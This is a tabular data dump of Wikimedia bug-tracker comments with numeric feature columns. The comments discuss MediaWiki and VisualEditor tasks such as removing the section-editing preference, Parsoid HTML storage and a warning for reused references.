https://gerrit.wikimedia.org/r/99171",,,1390310410,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,4.666666666666667,0.8666666666666667,"Change 99171 abandoned by 01tonythomas:
Removed ""Enable section editing via [edit] links"" from preferences

Reason:
Rebase errors persistant :(

GERRIT_URL"
256643,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Brian's caution (asking some up to date stats) makes sense, however it should be noted that AFAIK this preference is mainly a relic of the ancient past when section editing was the last new thing. :) Maybe we'll need this preference again if VisualEditor ever finds some magic to allow section editing again. :P",,,1386970419,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,True,,,23,,3.0,0.0,0.0,2.0,0.0,5.0,3.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,11.0,10.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,5.0,7.0,5.0,0.0,11.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,10.0,5.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,4.229508196721311,0.8524590163934426,"Brian's caution (asking some up to date stats) makes sense, however it should be noted that AFAIK this preference is mainly a relic of the ancient past when section editing was the last new thing. :) Maybe we'll need this preference again if VisualEditor ever finds some magic to allow section editing again. :P"
256639,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","(In reply to comment #3)
> Maybe the relevant code form the parser itself can also be removed?

I'm not sure what you mean here.",,,1386225166,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7,1.0,"(In reply to comment #3)
QUOTE

I'm not sure what you mean here."
256635,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Just for the record:

<jorm> Can we just agree from this day forward that ""put it in your user css"" is not an acceptable solution for any problem, ever?

From https://bugzilla.wikimedia.org/quips.cgi?action=show

Maybe the relevant code form the parser itself can also be removed?",,,1386186606,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,22,,2.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,9.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,3.5555555555555554,0.8703703703703703,"Just for the record:

<jorm> Can we just agree from this day forward that ""put it in your user css"" is not an acceptable solution for any problem, ever?

From URL

Maybe the relevant code form the parser itself can also be removed?"
256630,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Change 99171 had a related patch set uploaded by 01tonythomas:
Removed ""Enable section editing via [edit] links"" from Mediawiki Preference.

https://gerrit.wikimedia.org/r/99171",,,1386179478,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,4.586206896551724,0.9655172413793104,"Change 99171 had a related patch set uploaded by 01tonythomas:
Removed ""Enable section editing via [edit] links"" from Mediawiki Preference.

GERRIT_URL"
256624,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core",I would like to prepare a patch for this bug. Please assign it to me.,,,1386178444,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,3.235294117647059,0.8823529411764706,I would like to prepare a patch for this bug. Please assign it to me.
54796,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,"A user asks if VE shouldn't now get rid of apostrophes used for formatting and use common tags instead <b>, <i>...

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1376398800,1380661120.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-bgfttfnluju4mvokk3ud,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,7.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,3.717391304347826,0.7608695652173914,"A user asks if VE shouldn't now get rid of apostrophes used for formatting and use common tags instead <b>, <i>...

--------------------------
**Version**: unspecified
**Severity**: enhancement"
255566,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,"Closing this as a duplicate to avoid confusion.

*** This bug has been marked as a duplicate of bug 49143 ***",,,1380661120,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-bgfttfnluju4mvokk3ud,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,3.3333333333333335,0.6666666666666666,"Closing this as a duplicate to avoid confusion.

*** This bug has been marked as a duplicate of bug 49143 ***"
255559,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,"Supporting HTML storage is indeed one of our goals for this fiscal year, and an important part of our long-term strategy. We plan to store both HTML and wikitext (plus metadata) for a while, but are working on supporting HTML-only wikis. Those will still be editable using wikitext by using Parsoid for the conversion from HTML to wikitext and then back to HTML after the edit.

See our roadmap at https://www.mediawiki.org/w/index.php?title=Parsoid/Roadmap&oldid=738055 for more detail.",,,1376517975,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-bgfttfnluju4mvokk3ud,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,2.0,5.0,17.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,5.0,17.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,6.0,1.0,0.0,0.0,3.9770114942528734,0.735632183908046,"Supporting HTML storage is indeed one of our goals for this fiscal year, and an important part of our long-term strategy. We plan to store both HTML and wikitext (plus metadata) for a while, but are working on supporting HTML-only wikis. Those will still be editable using wikitext by using Parsoid for the conversion from HTML to wikitext and then back to HTML after the edit.

See our roadmap at URL for more detail."
255552,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,"(Can't reply right now and for a few days, but in the meantime, someone else begs to differ: http://www.flickr.com/photos/fabola/7571369108/in/set-72157630578652390 )",,,1376516329,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-bgfttfnluju4mvokk3ud,task_subcomment,,True,c1,3,False,,,6,,4.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.16,0.96,"(Can't reply right now and for a few days, but in the meantime, someone else begs to differ: URL )"
255545,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,Bug 49143 is the related bug.,,,1376512331,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-bgfttfnluju4mvokk3ud,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,Bug 49143 is the related bug.
255539,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,"To clarify, is this asking for VisualEditor to replace wikitext (WT) with HTML equivalents (but still inside a wikitext place)?

If so, that's not something we will do:

* it makes it hard for users to edit with WT;
* it would be bad to have VE replace other users' WT unexpectedly;
* it would be confusing to have mixtures of WT and HTML; and
* it doesn't save anything technically (it'd still need to go through Parsoid).

Because of these factors, that suggestion is a WONTFIX.

However, there is a different goal for Parsoid to be able to store their HTML+RDFa in the database directly, either alongside, or instead of, the WT that is currently stored. This has a number of advantages but is very far off.

I'm going to re-sort this to reflect the second of these, as I don't believe that there is an existing bug.",,,1376512174,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bgfttfnluju4mvokk3ud,task_subcomment,,True,c1,3,True,,,6,,0.0,1.0,0.5,0.5,1.5,3.5,2.5,0.5,0.0,0.5,2.0,2.5,0.0,0.0,1.0,1.5,0.0,8.5,15.0,1.0,5.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,2.0,0.0,6.5,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.5,0.0,1.5,0.0,0.0,0.5,9.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.5,10.5,1.5,3.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,15.0,4.5,0.5,0.5,0.0,5.0,0.0,0.5,2.5,0.0,1.5,0.0,0.0,0.0,3.5878499440089584,0.6508398656215005,"To clarify, is this asking for VisualEditor to replace wikitext (WT) with HTML equivalents (but still inside a wikitext place)?

If so, that's not something we will do:

* it makes it hard for users to edit with WT;
* it would be bad to have VE replace other users' WT unexpectedly;
* it would be confusing to have mixtures of WT and HTML; and
* it doesn't save anything technically (it'd still need to go through Parsoid).

Because of these factors, that suggestion is a WONTFIX.

However, there is a different goal for Parsoid to be able to store their HTML+RDFa in the database directly, either alongside, or instead of, the WT that is currently stored. This has a number of advantages but is very far off.

I'm going to re-sort this to reflect the second of these, as I don't believe that there is an existing bug."
255532,Support Parsoid HTML+RDFa storage alongside or instead of wikitext,I believe this is a long-term goal.,,,1376447318,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-bgfttfnluju4mvokk3ud,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.9,1.0,I believe this is a long-term goal.
54792,VisualEditor: Warn if editing a reference that is used multiple times,"<< When editing a reference, there is no indication at all if it is used multiple times throughout the article. This makes it very easy to screw up references, e.g. when you replace a ref for one sentence by changing it and it gets propagated throughout the article. WS (talk) 11:45, 13 August 2013 (UTC) >>

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1376394960,1414517796.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-pdifcdlqnopvfjzdvczw,task_description,resolved,True,c1,3,False,False,False,6,,1.0,0.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,8.0,4.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,6.0,9.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,3.8705882352941177,0.7176470588235294,"<< When editing a reference, there is no indication at all if it is used multiple times throughout the article. This makes it very easy to screw up references, e.g. when you replace a ref for one sentence by changing it and it gets propagated throughout the article. WS (talk) 11:45, 13 August 2013 (UTC) >>

--------------------------
**Version**: unspecified
**Severity**: enhancement"
255336,VisualEditor: Warn if editing a reference that is used multiple times,"The warning ""This reference is used [n] times on this page."" appears for Basic citations only  - verified the fix in beta, test2, and production. 

Bug 73566 was filed to apply the same warning to multiple instances of any kind of citations.",,,1416331982,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-pdifcdlqnopvfjzdvczw,task_subcomment,,True,c1,3,True,,,72,,2.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,8.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.7735849056603774,0.8301886792452831,"The warning ""This reference is used [n] times on this page."" appears for Basic citations only  - verified the fix in beta, test2, and production. 

Bug 73566 was filed to apply the same warning to multiple instances of any kind of citations."
255327,VisualEditor: Warn if editing a reference that is used multiple times,"Change 169270 merged by jenkins-bot:
Show warning on reference dialog when editing a reference used in more than one place

https://gerrit.wikimedia.org/r/169270",,,1414517770,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdifcdlqnopvfjzdvczw,task_subcomment,,True,c1,3,False,,,69,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,4.0,0.0,0.0,4.461538461538462,0.9615384615384616,"Change 169270 merged by jenkins-bot:
Show warning on reference dialog when editing a reference used in more than one place

GERRIT_URL"
255317,VisualEditor: Warn if editing a reference that is used multiple times,"Change 169270 had a related patch set uploaded by Alex Monk:
Show warning on reference dialog when editing a reference used in more than one place

https://gerrit.wikimedia.org/r/169270",,,1414453877,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdifcdlqnopvfjzdvczw,task_subcomment,,True,c1,3,False,,,69,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,17.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,7.0,3.0,0.0,0.0,4.466666666666667,0.9333333333333333,"Change 169270 had a related patch set uploaded by Alex Monk:
Show warning on reference dialog when editing a reference used in more than one place

GERRIT_URL"
54770,VisualEditor: cutting block level elements changes the type of following element,"
--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52771",Medium,50.0,1376340600,1703086644.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-m6mab3qibjjsonpriu5r,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.39285714285714285,"
--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
2243514,VisualEditor: cutting block level elements changes the type of following element,"Change 981374 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (402570007)%%%
https://gerrit.wikimedia.org/r/981374",,,1701976845,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m6mab3qibjjsonpriu5r,task_subcomment,,True,c1,3,False,,,544,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.121212121212121,0.7878787878787878,"Change 981374 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (402570007)%%%
GERRIT_URL"
2243446,VisualEditor: cutting block level elements changes the type of following element,"Change 981374 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (402570007)%%%
https://gerrit.wikimedia.org/r/981374",,,1701971210,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m6mab3qibjjsonpriu5r,task_subcomment,,True,c1,3,False,,,544,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,4.54054054054054,0.8378378378378378,"Change 981374 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (402570007)%%%
GERRIT_URL"
2243389,VisualEditor: cutting block level elements changes the type of following element,"Change 980444 **merged** by jenkins-bot:
%%%[VisualEditor/VisualEditor@master] Make headings of different levels ""un-mergeable""%%%
https://gerrit.wikimedia.org/r/980444",,,1701967183,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m6mab3qibjjsonpriu5r,task_subcomment,,True,c1,3,False,,,544,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,6.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.09375,0.78125,"Change 980444 **merged** by jenkins-bot:
%%%[VisualEditor/VisualEditor@master] Make headings of different levels ""un-mergeable""%%%
GERRIT_URL"
2241936,VisualEditor: cutting block level elements changes the type of following element,"Change 980444 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[VisualEditor/VisualEditor@master] Make headings of different levels ""un-mergeable""%%%
https://gerrit.wikimedia.org/r/980444",,,1701798922,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m6mab3qibjjsonpriu5r,task_subcomment,,True,c1,3,False,,,544,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,6.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,4.527777777777778,0.8888888888888888,"Change 980444 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[VisualEditor/VisualEditor@master] Make headings of different levels ""un-mergeable""%%%
GERRIT_URL"
